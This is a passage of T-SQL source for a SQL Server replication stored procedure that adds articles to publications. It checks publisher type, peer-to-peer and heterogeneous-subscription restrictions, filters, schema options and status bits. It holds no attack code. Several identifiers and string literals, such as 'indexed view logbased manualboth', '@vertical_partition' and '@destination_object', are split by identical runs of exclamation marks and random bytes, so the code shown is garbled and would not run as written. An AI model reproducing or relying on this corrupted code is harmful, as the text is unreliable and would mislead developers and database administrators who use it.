                                                    @allow_queued_tran  = @allow_queued_tran        OUTPUT,
                                                    @allow_dts    = @allow_dts                OUTPUT,
                                                    @repl_freq    = @repl_freq                OUTPUT,
                                                    @hr_admin    = @hr_admin     OUTPUT
        IF @@ERROR <> 0 AND @retcode <> 0
            RETURN (1)
        
        IF @pubid IS NULL
        BEGIN
            RAISERROR (20026, 16, -1, @publication)
            RETURN (1)
        END

        -- Reject any objects that share the admin schema
        IF @source_owner = @hr_admin
        BEGIN
            RAISERROR (20802, 16, -1, @source_owner)
            RETURN (1)
        END

        select @bak_source = @source_table

        -- Check the table for heterogeneous publishers 
        EXEC @retcode = sys.sp_IHCheckSourceTable
                                    @publisher_type  = @publisher_type,
                                    @publisher   = @publisher,
                                    @source_table  = @source_table,
                                    @source_owner  = @source_owner,
                                    @publication_type = @repl_freq

        IF @@error <> 0 OR @retcode <> 0
            RETURN (1)
    
        -- Set object type to a User table
        SELECT @object_type = N'U'       

        IF @destination_table is NULL
            SELECT @destination_table = @source_table
        --
        -- Some table property local var initializations
        --
        select @tablehasidentity = 0
    END -- HREPL Publisher
    
    /*
    ** Parameter Check: @type
    ** If the article is added as a 'schema-bound view schema only' article,
    ** make sure that the source object is a schema-bound view.
    ** Conversely, a schema-bound view cannot be published as a 
    ** 'view schema only' article.
    */
    SELECT @type = case when (@type IS NULL) then N'logbased' else lower(@type) end

    IF @issqlpublisher = 0
    BEGIN
        IF @type <> 'logbased'
        BEGIN
            raiserror(21601, 16, 1)
            return (1) 
        END
    END

    if @type = N'indexed view schema only' and objectproperty(@tabid, N'IsSchemaBound') <> 1
    begin
        raiserror (21277, 11, -1, @source_table)        
        return (1)
    end

    /*
    ** Vertical partitioning can only be enabled for logbased article
    */
    select @vertical_partition = lower(@vertical_partition)
    if @vertical_partition = N'true' and
       @type not in (N'logbased',
                            N'logbased manualfilter', 
                            N'logbased manualview', 
                            N'logbased manualboth',
                            N'indexed view logbased', 
                            N'indexed view logbased manualfilter', 
                            N'indexed view logbased manualview', 
                            N'indexed view logbased manualboth')
    begin
        raiserror(22548, 11, -1)
        return (1)
    end

    /*
    ** If the article is published as an IV logbased article, we'd better make
    ** sure that the view is schema bound and it has a clustered index.
    ** Conversely, a schema-bound view should never be published as a regular
    ** table logbased article.
    */
    IF @issqlpublisher = 1
    BEGIN    
        if @type in (N'indexed view logbased', 
                     N'indexed view logbased manualfilter', 
                     N'indexed view logbased manualview', 
                     N'indexed view logbas!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(B 7ALv&ed manualboth') and 
            (isnull(objectproperty(@tabid, N'IsSchemaBound'),0) <> 1 or
             not exists (select * from sysindexes where id = @tabid) or
             isnull(objectproperty(@tabid, N'IsView'),0) = 0) 
        begin
            raiserror (21278, 11, -1, @source_table)
            return (1)
        end
    
        if @type in (N'view schema only', 
                     N'logbased', 
                     N'logbased manualfilter', 
                     N'logbased manualview', 
                     N'logbased manualboth') and 
            objectproperty(@tabid, N'IsSchemaBound') = 1
        begin
            raiserror (21275, 11, -1, @source_table)
            return (1)
        end
        
        IF @use_default_datatypes != 1
        BEGIN
            RAISERROR (21606, 16, -1, '@use_default_datatypes', '1')
            RETURN (1)
        END
    END

    -- Virtual subscriptions of all the articles will be deactivated.
    EXECUTE @retcode  = sys.sp_MSreinit_article
                                    @publication    = @publication, 
                                    @need_new_snapshot   = 1,
                                    @force_invalidate_snapshot = @force_invalidate_snapshot,
                                    @check_only     = 1,
                                    @publisher     = @publisher,
                                    @publisher_type    = @publisher_type

    IF @@ERROR <> 0 OR @retcode <> 0
        return 1

    -- -------------------------------
    -- HREPL specific parameter checks
    -- -------------------------------
    IF @issqlpublisher = 0
    BEGIN
        -- Parameter Check: @pub_identity_range
        -- For HREPL publications, restrict to NULL (not supported)

        IF @pub_identity_range IS NOT NULL
        BEGIN
            RAISERROR (21632, 16, -1, '@pub_identity_range', 'NULL')
            RETURN (1)
        END


        -- Parameter Check: @identity_range
        -- For HREPL publications, restrict to NULL (not supported)

        IF @identity_range IS NOT NULL
        BEGIN
            RAISERROR (21632, 16, -1, '@identity_range', 'NULL')
            RETURN (1)
        END

        -- Parameter Check: @threshold
        -- For HREPL publications, restrict to NULL (not supported)

        IF @threshold IS NOT NULL
        BEGIN
            RAISERROR (21632, 16, -1, '@threshold', 'NULL')
            RETURN (1)
        END

        -- Parameter Check: @sync_object
        -- For HREPL publications, restrict to NULL (not supported)

        IF @sync_object IS NOT NULL
        BEGIN
            RAISERROR (21632, 16, -1, '@sync_object', 'NULL')
            RETURN (1)
        END

        -- Parameter Check: @sync_object_owner
        -- For HREPL publications, restrict to NULL (not supported)

        IF @sync_object_owner IS NOT NULL
        BEGIN
            RAISERROR (21632, 16, -1, '@sync_object_owner', 'NULL')
            RETURN (1)
        END

        -- Parameter Check: @filter_owner
        -- For HREPL publications, restrict to NULL

        IF @filter_owner IS NOT NULL
        BEGIN
            RAISERROR (21632, 16, -1, '@filter_owner', 'NULL')
            RETURN (1)
        END
    END -- HREPL checks

    /*
    ** Parameter Check: @status
    ** If NULL, default to 16 
    */
    IF @status IS NULL
        SET @status = 16

    IF @issqlpublisher = 1
    BEGIN
        -- SQL Publisher
        
        BEGIN TRANSACTION
        SAVE TRANSACTION sp_addarticle

        -- Get applock to co-ordinate with snapshot agent. Basically,
        -- we want to prevent a new article from being added while a 
        -- snapshot is being generated.
        EXEC @applock_result = sys.sp_getapplock @Resource = @publication,
                @LockMode = N'Exclusive',
                @LockOwner = N'Transaction',
                @LockTimeout = 0,
                @DbPrincipal = N'db_owner'

        IF @applock_result < 0
        BEGIN
            RAISERROR(21854, 16, -1, @publication)
            GOTO UNDO
        END

        -- Lock source table
        IF (@tabid IS NOT NULL)
        BEGIN
            EXEC %%Object(MultiName = @source_table).LockMatchID(ID = @tabid, Exclusive = 1, BindInternal = 0)
            IF @@ERROR <> 0
                SELECT @tabid = NULL
        END

        IF @tabid IS NULL
        BEGIN
            RAISERROR (14027, 11, -1, @source_table)
            GOTO UNDO
        END

        /*
        **  Get the type of the @source_table
        */
        SELECT @object_type = type
            FROM sys.objects
            WHERE object_id = @tabid

        -- Encrypted objects are not publishable for replication
        IF @type IN (N'proc exec',
                     N'serializable proc exec',
                     N'proc schema only',
                     N'indexed view schema only',
                     N'indexed view logbased',
                     N'indexed view logbased manualfilter',
                     N'indexed view logbased manualview',
                     N'indexed view logbased manualboth',
                     N'view schema only',
                     N'func schema only')
        BEGIN
            IF EXISTS (SELECT * FROM syscomments
                        WHERE id = @tabid
                          AND encrypted = 1)
            BEGIN
                RAISERROR(21004, 16, -1, @source_table)        
                GOTO UNDO
            END
        END   
    END -- SQL Publisher

    -- if PeerToPeer replication is turned on for this publication level then 
    -- we need to make a few other checks on options to be restricted for the pub
    IF EXISTS(select * 
                    from syspublications 
                    where name = @publication 
                        and (options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P)
    BEGIN
        SELECT @is_p2p = 1

        /*
        Hetero is not supported 
        */
        IF @issqlpublisher = 0
        BEGIN
            -- Peer-To-Peer publications only support an '@publisher_type' parameter value of 'MSSQLSERVER'.
            RAISERROR (21679, 16, -1, '@publisher_type', '''MSSQLSERVER''')
            GOTO UNDO
        END

        /*
        Disallow any type of dest owner/object name change...
        */
        IF NOT ISNULL(@destination_table, N'') = N''
            AND @destination_table != object_name(@tabid)
        BEGIN
            -- Peer-To-Peer publications do not destination owner name change. Please change the '@destination_table' parameter value.
            RAISERROR(20646, 16, -1, 'destination object name change',  '@destination_table')
            GOTO UNDO
        END

        IF NOT ISNULL(@destination_owner, N'') = N''
                AND @destination_owner != schema_name(OBJECTPROPERTY(@tabid,N'SchemaId'))
        BEGIN
            -- Peer-To-Peer publications do not destination owner name change. Please change the '@destination_owner' parameter value.
            RAISERROR(20646, 16, -1, 'destination owner name change',  '@destination_owner')
            GOTO UNDO
        END

        /*
        Ensure that we are not attempting to create an invalid
        Peer-To-Peer publication/subscription configuration...
        */
        EXEC @retcode = sys.sp_MSdetectinvalidaddarticle @publication = @publication,
                                                                            @dest_table = @destination_table,
                                                                            @dest_owner = @destination_owner
        IF @@error <> 0 OR @retcode <> 0
            GOTO UNDO

        /*
        Disallow any type of filtering...
        */
        IF ISNULL(LOWER(@vertical_partition), N'false') = N'true'
        BEGIN
            -- Peer-To-Peer publications only support an '@vertica!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(B"pYv&l_partition' parameter value of 'false'.
            RAISERROR (21679, 16, -1, '@vertical_partition', '''false''')
            GOTO UNDO
        END

        IF @type IN (N'logbased manualfilter', 
                N'logbased manualview', 
                N'logbased manualboth',
                N'indexed view logbased manualfilter', 
                N'indexed view logbased manualview', 
                N'indexed view logbased manualboth')
        BEGIN
            -- Peer-To-Peer publications do not support filtering. Please change the '@type' parameter value.
            RAISERROR(20646, 16, -1, 'filtering',  '@type')
            GOTO UNDO
        END

        IF NOT ISNULL(@filter, N'') = N''
        BEGIN
            -- Peer-To-Peer publications do not support filtering. Please change the '@filter' parameter value.
            RAISERROR(20646, 16, -1, 'filtering',  '@filter')
            GOTO UNDO
        END

        IF NOT ISNULL(@filter_owner, N'') = N''
        BEGIN
            -- Peer-To-Peer publications do not support filtering. Please change the '@filter_owner' parameter value.
            RAISERROR(20646, 16, -1, 'filtering',  '@filter_owner')
            GOTO UNDO
        END

        IF NOT ISNULL(@filter_clause, N'') like N''
        BEGIN
            -- Peer-To-Peer publications do not support filtering. Please change the '@filter_clause' parameter value.
            RAISERROR(20646, 16, -1, 'filtering',  '@filter_clause')
            GOTO UNDO
        END

        IF NOT ISNULL(@sync_object_owner, N'') = N''
        BEGIN
            -- Peer-To-Peer publications do not support filtering. Please change the '@sync_object_owner' parameter value.
            RAISERROR(20646, 16, -1, 'filtering',  '@sync_object_owner')
            GOTO UNDO
        END

        IF NOT ISNULL(@sync_object, N'') = N''
        BEGIN
            -- Peer-To-Peer publications do not support filtering. Please change the '@sync_object' parameter value.
            RAISERROR(20646, 16, -1, 'filtering',  '@sync_object')
            GOTO UNDO
        END
        --
        -- Only allow manual identity ranges
        --
        IF ISNULL(LOWER(@auto_identity_range), N'false') = N'true'
        BEGIN
            -- Peer-To-Peer publications only support an '@auto_identity_range' parameter value of 'false'.
            RAISERROR (21679, 16, -1, '@auto_identity_range', '''false''')
            GOTO UNDO
        END

        IF NOT ISNULL(LOWER(@pub_identity_range ), N'') = N''
        BEGIN
            -- Peer-To-Peer publications only support an '@pub_identity_range' parameter value of NULL.
            RAISERROR (21679, 16, -1, '@pub_identity_range', 'NULL')
            GOTO UNDO
        END

        IF NOT ISNULL(LOWER(@identity_range ), N'') = N''
        BEGIN
            -- Peer-To-Peer publications only support an '@identity_range' parameter value of NULL.
            RAISERROR (21679, 16, -1, '@identity_range', 'NULL')
            GOTO UNDO
        END

        IF NOT ISNULL(LOWER(@threshold ), N'') = N''
        BEGIN
            -- Peer-To-Peer publications only support an '@threshold' parameter value of NULL.
            RAISERROR (21679, 16, -1, '@threshold', 'NULL')
            GOTO UNDO
        END

        /*
        Invalid Columns for P2P
        Timestamp is allowed if not replicated - schema_option bit 8 should be set
        */
        IF ISNULL(OBJECTPROPERTY(@tabid, N'TableHasTimestamp'), 0) = 1 
            AND (sys.fn_replgetbinary8lodword(@schema_option) & 0x8) = 0
        BEGIN
            -- Peer-To-Peer publications do not support replicating timestamp columns as varbinary(8). Adding an article with this option or adding/altering a table to include a timestamp column as varbinary(8) is not allowed.
            RAISERROR (21734, 16, -1)
            GOTO UNDO          
        END

        /*
        Invalid Command Types for P2P
        */

        IF @ins_cmd IS NOT NULL
            AND LEFT(UPPER(LTRIM(@ins_cmd)), 3) IN (N'SQL')
        BEGIN
            -- Peer-To-Peer publications do not support 'SQL' command type. Please change the '@ins_cmd' parameter value.
            RAISERROR(20646, 16, -1, '''SQL'' Command Type',  '@ins_cmd')
            GOTO UNDO
        END

        IF @del_cmd IS NOT NULL
            AND LEFT(UPPER(LTRIM(@del_cmd)), 3) IN (N'SQL')
        BEGIN
            -- Peer-To-Peer publications do not support 'SQL' command type. Please change the '@del_cmd' parameter value.
            RAISERROR(20646, 16, -1, '''SQL'' command type',  '@del_cmd')
            GOTO UNDO
        END

        IF @upd_cmd IS NOT NULL
            AND LEFT(UPPER(LTRIM(@upd_cmd)), 3) IN (N'SQL')
        BEGIN
            -- Peer-To-Peer publications do not support 'SQL' command type. Please change the '@upd_cmd' parameter value.
            RAISERROR(20646, 16, -1, '''SQL'' Command Type',  '@upd_cmd')
            GOTO UNDO
        END

        /*
        Enable parameterized statements now if it is not already enabled...
        */
        IF (@status & 16) != 16
        BEGIN
            DECLARE @status_str nvarchar(50)

            SELECT @status = @status | 16
            SELECT @status_str = CONVERT(nvarchar(50), @status)

            -- Warning : The '%s' property for %s '%s' has been changed to '%s' because it is required by %s.
            RAISERROR(21853, 10, -1, 'status', 'article', @article, @status_str, 'Peer-To-Peer')
        END
    END

    -- Parameter check: @fire_triggers_on_snapshot
    SELECT @fire_triggers_on_snapshot = LOWER(@fire_triggers_on_snapshot)
    IF @fire_triggers_on_snapshot IS NULL or @fire_triggers_on_snapshot not in (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, N'@fire_triggers_on_snapshot')
        GOTO UNDO
    END    
    SELECT @fire_triggers_on_snapshot_bit = case when (@fire_triggers_on_snapshot = N'true') then 1 else 0 end

    -- if the publication has been enabled for heterogeneous subscriptions 
    -- some additional restriction apply to the articles
    IF EXISTS(select * 
                    from syspublications 
                    where name = @publication 
                        and (options & @OPT_ENABLED_FOR_HET_SUB) = @OPT_ENABLED_FOR_HET_SUB)
    BEGIN
        select @is_enabled_for_het_sub = 1

        -- @auto_identity_range cannot be true
        IF ISNULL(LOWER(@auto_identity_range), N'false') = N'true'
        BEGIN
            -- Publications enabled for heterogeneous subscriptions do not support %s. Please change the '@auto_identity_range' parameter value.
            RAISERROR(20649, 16, -1, 'identity range management',  '@auto_identity_range')
            GOTO UNDO
        END

        IF NOT @pub_identity_range IS NULL
        BEGIN
            -- Publications enabled for heterogeneous subscriptions do not support %s. Please change the '@pub_identity_range' parameter value.
            RAISERROR(20649, 16, -1, 'identity range management',  '@pub_identity_range')
            GOTO UNDO
        END

        IF NOT @identity_range IS NULL
        BEGIN
            -- Publications enabled for heterogeneous subscriptions do not support %s. Please change the '@identity_range' parameter value.
            RAISERROR(20649, 16, -1, 'identity range management',  '@identity_range')
            GOTO UNDO
        END

        IF NOT @threshold IS NULL
        BEGIN
            -- Publications enabled for heterogeneous subscriptions do not support %s. Please change the '@threshold' parameter value.
            RAISERROR(20649, 16, -1, 'identity range management',  '@threshold')
            GOTO UNDO
        END

        IF NOT ISNULL(LOWER(@identityrangemanagementoption), N'none') = N'none'
        BEGIN
            -- Publications enabled for heterogeneous subscriptions do not support %s. Please change the '@identityrangemanagemento!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(B$24bv&ption' parameter value.
            RAISERROR(20649, 16, -1, 'identity range management',  '@identityrangemanagementoption')
            GOTO UNDO
        END

        IF NOT ISNULL(@fire_triggers_on_snapshot, N'false') = N'false'
        BEGIN
            -- Publications enabled for heterogeneous subscriptions do not support %s. Please change the '@fire_triggers_on_snapshot' parameter value.
            RAISERROR(20649, 16, -1, 'firing user triggers on a replicated table when the snapshot is applied',  '@fire_triggers_on_snapshot')
            GOTO UNDO
        END

    END

    -- Don't allow the same object to be published twice in a publication that 
    -- allows is enabled for autonosyncs (Restriction temporarily lifted)
    --    IF EXISTS (SELECT * 
    --                 FROM dbo.sysextendedarticlesview sa
    --                INNER JOIN dbo.syspublications sp
    --                   ON sa.pubid = sp.pubid
    --                WHERE sp.allow_initialize_from_backup = 1
    --                  AND sa.objid = @tabid
    --                  AND sp.name = @publication)
    --    BEGIN
    --        RAISERROR(18798, 16, -1)
    --        GOTO UNDO
    --    END             

    -- Default HREPL publications to generate primary object
    IF @issqlpublisher = 0
    BEGIN
        IF @schema_option IS NULL
        BEGIN
            SELECT @schema_option = case when (@is_enabled_for_het_sub = 1) 
                then 0x0000000000004041 else 0x00000000000050D3 end
        END
        ELSE
        BEGIN
            DECLARE @valid_schema_options int
                        ,@schema_option_val int

            -- Restrict HREPL schema options
            SELECT @valid_schema_options = 0xD0D3,
                        @schema_option_val = fn_replgetbinary8lodword(@schema_option)

            IF (@schema_option_val & ~@valid_schema_options) <> 0
            BEGIN
                RAISERROR (21635, 16, -1)
                GOTO UNDO
            END
        END
    END


/*
	--a tiny optimization, if there is no table based iv nor 'proc exec', no need to check for this.
	--otherwise, check for 21843 condition
	
	if exists(select 1 from sysarticles where objectproperty(objid, 'IsView') = 1 or objectproperty(objid, 'IsProcedure') = 1)
	begin
		if sys.fn_ftableivprocexec(@tabid) = 1
		begin
			raiserror (21843, 16, 1, @article)
			GOTO UNDO
		end
	end
*/
    -- at this point, we've done all the common parameter checks.
    -- If this is a procedure execution article, branch to the proc execution publishing
    -- routine; or if this is a schema only procedure or view article, branch to the
    -- schema only article publishing routine; otherwise continue processing as if it were a table
 
    -- Note: We need to obtain the pubid and the associated 
    -- publication properties for a SQL Server
    -- article prior to calling sp_MSaddexecarticle
    -- or sp_MSaddschemaarticle because the code that gets
    -- executed when these procedure are done relies
    -- on their presence. 
    IF @issqlpublisher = 1
    BEGIN
        SELECT @pubid = pubid, @autogen_sync_procs_id = autogen_sync_procs, @sync_method = sync_method,
            @allow_sync_tran = allow_sync_tran,
            @allow_queued_tran = allow_queued_tran,
            @allow_dts  = allow_dts,
            @repl_freq = repl_freq,
            @allow_initialize_from_backup = allow_initialize_from_backup 
        FROM syspublications where name = @publication

        IF @pubid IS NULL
        BEGIN
            RAISERROR (20026, 11, -1, @publication)
            GOTO UNDO
        END
        --                    
        --for ccs publications this offset will be adjusted by 11 
        --since we want to append '_msrepl_ccs' at the end
        --
        if (@sync_method in (3, 4))
        begin
            select @customprocoffset = @customprocoffset + @ccs_appendix
        end

        -- make sure that if the destination_owner was not specified we set it to 
        -- the source objects schema_name. this is the same as UI default. Be sure 
        -- to only set it if we know that the publication is not in character mode 
        -- bcp. This is because non-sql subscriptions expect an empty schema_name :
        -- 		1 = character
        -- 		4 = concurrent character
        -- sward  Use of character mode bcp to determine whether a publication is intended
        --        for heterogeneous subscribers is obsolete.  The publication property
        --        @enabled_for_het_sub now identifies publications designed for use with
        --        heterogeneous subscriptions. 
        -- sward  temporarily, allow @sync_method alone to prevent @destination_owner from defaulting to @source_owner
        --        Note that this check will eliminate publications enabled for heterogeneous subscribers as well
        --        since these publications must have @sync_method IN (1, 4).  It will additionally eliminate publications
        --        that have not been enabled for heterogeneous subscriptions, but do have @sync_method In (1, 4), the old behavior.	    		
        IF (@destination_owner IS NULL 
                OR RTRIM(@destination_owner) = N'')
                AND @sync_method NOT IN (1, 4)
        -- AND @is_enabled_for_het_sub = 0
        BEGIN
            SELECT @destination_owner = schema_name(OBJECTPROPERTY(@tabid, N'SchemaId'))
        END
    END -- SQL publisher

    IF @issqlpublisher = 1
        and ((@object_type in (N'P', N'PC') AND @type <> N'proc schema only') 
        or  @type IN (N'proc schema only', N'view schema only', N'func schema only', N'indexed view schema only', N'aggregate schema only', N'synonym schema only'))
    BEGIN
        --
        -- Processing non table articles 
        -- Only SQL Publications
        --
        IF (@object_type in (N'P', N'PC') AND @type <> N'proc schema only')
        begin

            IF @schema_option IS NULL
                SELECT @schema_option = 0x0000000000000001

            EXECUTE @retcode = sys.sp_MSaddexecarticle @publication,
                @article,
                @source_table,
                @destination_table,
                @type,
                @creation_script,
                @description,
                @pre_creation_cmd,
                @schema_option,
                @destination_owner,
                @artid OUTPUT
        end
        else 
        begin
            -- Note: a transaction is started inside sp_MSaddschemaarticle        
            IF @schema_option IS NULL
            BEGIN
                SELECT @schema_option = 0x0000000000000001
            END

            IF @type = N'proc schema only'
            BEGIN
                SELECT @typeid = 0x20
            END
            ELSE IF @type = N'view schema only'
            BEGIN
                SELECT @typeid = 0x40
            END
            ELSE IF @type = N'aggregate schema only'
            BEGIN
                SELECT @typeid = 0x60
                select @backward_comp_level = 90
            END   
            ELSE IF @type = N'synonym schema only'
            BEGIN
                SELECT @typeid = 0xA0
                select @backward_comp_level = 90
            END
            ELSE IF @type = N'func schema only'
            BEGIN
                SELECT @typeid = 0x80
                select @backward_comp_level = 40 -- UDF not available in sphinx
            END
            ELSE IF @type = N'indexed view schema only'
            BEGIN
                SELECT @typeid = 0x40
                select @backward_comp_level = 40 -- SchemaBinding not available in sphinx
            END    

            EXECUTE @retcode = sys.sp_MSaddschemaarticle 
                @publication = @publication,
                @article = @article,
                @source_object = @source_table,
                @d!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(B*gFv&estination_object = @destination_table,
                @type = @typeid,
                @creation_script = @creation_script,
                @description = @description,
                @pre_creation_cmd = @pre_creation_cmd,
                @schema_option = @schema_option,
                @destination_owner = @destination_owner,
                @status = @status,
                @artid = @artid OUTPUT

        end
        IF @retcode <> 0 or @@error <> 0
            goto UNDO
    END -- Handle non table articles
    ELSE
    BEGIN -- Block to handle table articles
        --
        -- Handle table articles 
        --

        -- Make sure that the table name specified is a table and not a view.
        IF @issqlpublisher = 1
        BEGIN
            IF NOT EXISTS (SELECT * FROM sys.objects
                WHERE object_id = @tabid
                AND type = N'U')
                AND NOT EXISTS ( SELECT * FROM sys.objects so, sysindexes si
                WHERE so.object_id = @tabid
                AND so.type = N'V'
                AND si.id = so.object_id )
            BEGIN
                RAISERROR (14028, 16, -1)
                GOTO UNDO
            END
        END
        --
        --Disable replication of Filetables
        If EXISTS(SELECT * FROM sys.objects
                WHERE object_id = @tabid
                AND type = N'U')
        BEGIN
            SELECT @fFileTable = is_filetable from sys.tables where object_id = @tabid
            If (@fFileTable = 1)
            BEGIN
                RAISERROR (33435, 16, -1, @source_table)
                GOTO UNDO
            END
        END
        --
        --Disable replication of logbased views that reference Filetable(s)
        If EXISTS(SELECT * FROM sys.objects
                WHERE object_id = @tabid
                AND type = N'V') 
        BEGIN
            IF EXISTS (select t.is_filetable from sys.sql_expression_dependencies d 
                        join sys.tables t on t.object_id = d.referenced_id 
                        where d.referencing_id = @tabid and t.is_filetable = 1)
            BEGIN
                RAISERROR (33437, 16, -1, @source_table)
                GOTO UNDO
            END
        END

		/*
		** Replication not supported on a table with columnstore index.
		*/
		
		-- Check if the table has columnstore index.
		SELECT TOP 1 @index_objid=object_id, @idxname=name from sys.indexes
						WHERE (object_id = @tabid) AND
							(type = 5 or type = 6)
		IF @index_objid IS NOT NULL
		BEGIN
			RAISERROR (35353, 16, -1, N'Replication', @idxname, @source_object)
		    GOTO UNDO
		END 	   

        /*
        ** Parameter Check: @vertical_partition
        ** Check to make sure that the vertical partition is either TRUE or FALSE.
        */
        SELECT @vertical_partition = LOWER(@vertical_partition)
        IF @vertical_partition NOT IN (N'true', N'false')
        BEGIN
            RAISERROR (14029, 16, -1)
            GOTO UNDO
        END
        /*
        ** Parameter Check: @filter
        ** Make sure that the filter is a valid stored procedure.
        */
        IF @filter IS NULL
        BEGIN
            select @filterid = 0
        END
        ELSE
        BEGIN
            -- @filter was specified
            IF @issqlpublisher = 0
            BEGIN
                raiserror(21632, 16, -1, '@filter', 'NULL')
                return (1)
            END

            IF @filter_owner IS NULL
            BEGIN
                select @object = PARSENAME( @filter, 1 )
                        ,@owner  = PARSENAME( @filter, 2 )
                        ,@db     = PARSENAME( @filter, 3 )
                        ,@site   = PARSENAME( @filter, 4 )

                if @object IS NULL
                    GOTO UNDO
            END  
            ELSE
            BEGIN
                select @filter = QUOTENAME(@filter_owner) + N'.' + QUOTENAME(@filter)
            END
            /*
            ** Get the id of the @filter
            */
            select @filterid = object_id, 
                    @filter_proc_type = type
            from sys.objects 
            where object_id = OBJECT_ID(@filter)

            IF @filterid IS NULL
            BEGIN
                -- @filter does not exist in the current database.
                RAISERROR (14027, 11, -1, @filter)
                GOTO UNDO
            END
            ELSE IF @filter_proc_type != N'RF'
            BEGIN
                -- Stored procedures for replication are the only objects that can be used as a filter.
                RAISERROR (14049, 11, -1)
                GOTO UNDO
            END

            EXEC @is_filter_in_use = sys.sp_MSdoesfilterhaveparent @filterid
            if( @is_filter_in_use <> 0 )
            BEGIN
                RAISERROR( 21009, 11, -1 )
                GOTO UNDO
            END
        END -- @filter was specified

        -- (All the following restrictions are lifted 
        -- If publication allows automated nosync subscription setup, disallow
        -- i) Vertical partitioning
        -- ii) Horizontal partitioning
        -- iii) A different destination owner name
        -- iv) A different destination object name
        -- v) IV -> Table article
        -- vi) Table with a timestamp column
        IF @issqlpublisher = 1 AND @allow_initialize_from_backup = 1
        BEGIN
--            -- i)
--            IF @vertical_partition = N'true'
--            BEGIN
--                RAISERROR (18792, 16, -1)
--                GOTO UNDO
--            END
--
--            -- ii)
--            IF (@filter IS NOT NULL AND RTRIM(@filter) <> N'') OR
--               (@filter_clause IS NOT NULL) OR
--               @type in (
--                N'logbased manualfilter',
--                N'logbased manualview', 
--                N'logbased manualboth')
--            BEGIN
--                RAISERROR (18792, 16, -1)
--                GOTO UNDO
--            END 
--            
--            -- iii)
--            -- Note that we set @destination_owner to source object owner
--            -- if it is unspecified
            IF @destination_owner IS NULL OR RTRIM(@destination_owner) = N''
            BEGIN
                SELECT @destination_owner = schema_name(OBJECTPROPERTY(@tabid,N'SchemaId'))
            END
--            IF @destination_owner <> schema_name(OBJECTPROPERTY(@tabid,N'SchemaId'))
--            BEGIN
--                RAISERROR (18791, 16, -1)
--                GOTO UNDO
--            END
--
--            -- iv) 
--            -- Note that we set @destination_table to source table name if it 
--            -- is unspecified
            IF @destination_table IS NULL OR RTRIM(@destination_table) = N''
            BEGIN
                SELECT @destination_table = OBJECT_NAME(@tabid)
            END
--            IF @destination_table <> OBJECT_NAME(@tabid)
--            BEGIN
--                RAISERROR (18791, 16, -1)
--                GOTO UNDO
--            END
--            
--            -- v)
--            IF @type IN (
--                N'indexed view logbased',
--                N'indexed view logbased manualfilter',
--                N'indexed view logbased manualview',
--                N'indexed view logbased manualboth')
--            BEGIN
--                RAISERROR (18794, 16, -1)
--                GOTO UNDO
--            END
--
--            -- vi)
--            IF ISNULL(OBJECTPROPERTY(@tabid, 'TableHasTimestamp'), 0) = 1
--            BEGIN
--                RAISERROR (21409, 16, -1)
--                GOTO UNDO                
--            END 
--
        END -- allow autonosync validation

        IF @issqlpublisher = 1
        BEGIN
            -- SQL Publisher
            -- Only allow table and index view for dts publications
            -- HetPubs only allow logb!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(B.ԙLv&ased, so DTS is always ok
            if @allow_dts <> 0 and @type not in (
                N'logbased',
                N'logbased manualfilter',
                N'logbased manualview', 
                N'logbased manualboth',
                N'indexed view logbased', 
                N'indexed view logbased manualfilter',
                N'indexed view logbased manualview',
                N'indexed view logbased manualboth')
            begin
                raiserror(20611, 16, -1)
                GOTO UNDO
            end

            -- can't do fancy type stuff with MVs!

            ELSE IF (@allow_sync_tran <> 0 
                    OR @allow_queued_tran <> 0)
                    AND EXISTS ( select * from sys.objects 
                        where object_id = OBJECT_ID(@source_table)
                        and type = N'V' )
            BEGIN
                RAISERROR(14059, 16, -1)
                GOTO UNDO
            END
            -- Parameter Check:  @article, @publication.
            -- Check if the article already exists in this publication.
            IF EXISTS (SELECT *
                         FROM sysextendedarticlesview
                        WHERE pubid = @pubid
                          AND name = @article)
            BEGIN
                RAISERROR (14030, 16, -1, @article, @publication)
                GOTO UNDO
            END
            --
            -- Validate @type
            -- 
            IF LOWER(@type) NOT IN 
                                        (N'logbased', 
                                         N'logbased manualfilter', 
                                         N'logbased manualview', 
                                         N'logbased manualboth',
                                         N'indexed view logbased', 
                                         N'indexed view logbased manualfilter', 
                                         N'indexed view logbased manualview', 
                                         N'indexed view logbased manualboth',
                                         N'proc schema only', 
                                         N'view schema only')
            BEGIN
                RAISERROR (14023, 16, -1)
                GOTO UNDO
            END
        END -- SQL Publisher
        ELSE
        BEGIN
            -- HREPL publisher
            -- Parameter Check:  @article, @publication.
            -- Check if the article already exists in this publication.
            IF EXISTS
            (
                SELECT * 
                FROM dbo.IHextendedArticleView
                WHERE publication_id = @pubid 
                    AND article = @article
            )
            BEGIN
                RAISERROR (14030, 16, -1, @article, @publication)
                RETURN (1)
            END
            --
            -- @type validated already for hetpubs
            -- Nothing to do here
            --
        END -- HREPL publisher
                
        --
        -- parameter check: @status
        -- bits 8, 16, 64 can be set directly by user
        -- Other bits from 1 ~ 64 are used but cannot be set here.
        -- Bit 64 can only be set for publication that allows DTS.
        -- Bit 32 is set internally according to whether or not timestamp is in
        -- the partition if we want to replicate it as varbinary or not.
        -- If Bit 32 is set then timestamp will scripted on subscriber as timestamp
        -- and the values will not be replicated (each replica will have its own
        -- timestamp values). This is the default for updating subscriptions.
        -- For legacy we still support scripting of timestamp as varbinary as default
        --
        IF (@status & ~ 88 ) <> 0 
        BEGIN
            RAISERROR( 21061, 16, -1, @status, @article )
            GOTO UNDO
        END
        else if ((@status & 64) = 64 and @allow_dts = 0)
        begin
            raiserror(20590, 16, -1)
            GOTO UNDO
        end

        /*
        ** Set the typeid.  The default type is logbased.  Anything else is
        ** currently undefined (reserved for future use).
        **
        **      @typeid     type
        **      =======     ========
        **          1     logbased
        **          3     logbased manualfilter
        **          5     logbased manualview
        **          7     logbased manualboth
        **          8     proc exec              (valid in sys.sp_MSaddexecarticle)
        **          24    serializable proc exec (valid in sys.sp_MSaddexecarticle)
        **          32    proc schema only       (valid in sys.sp_MSaddschemaarticle)
        **          64    view schema only       (valid in sys.sp_MSaddschemaarticle)
        **         128    func schema only       (valid in sys.sp_MSaddschemaarticle)
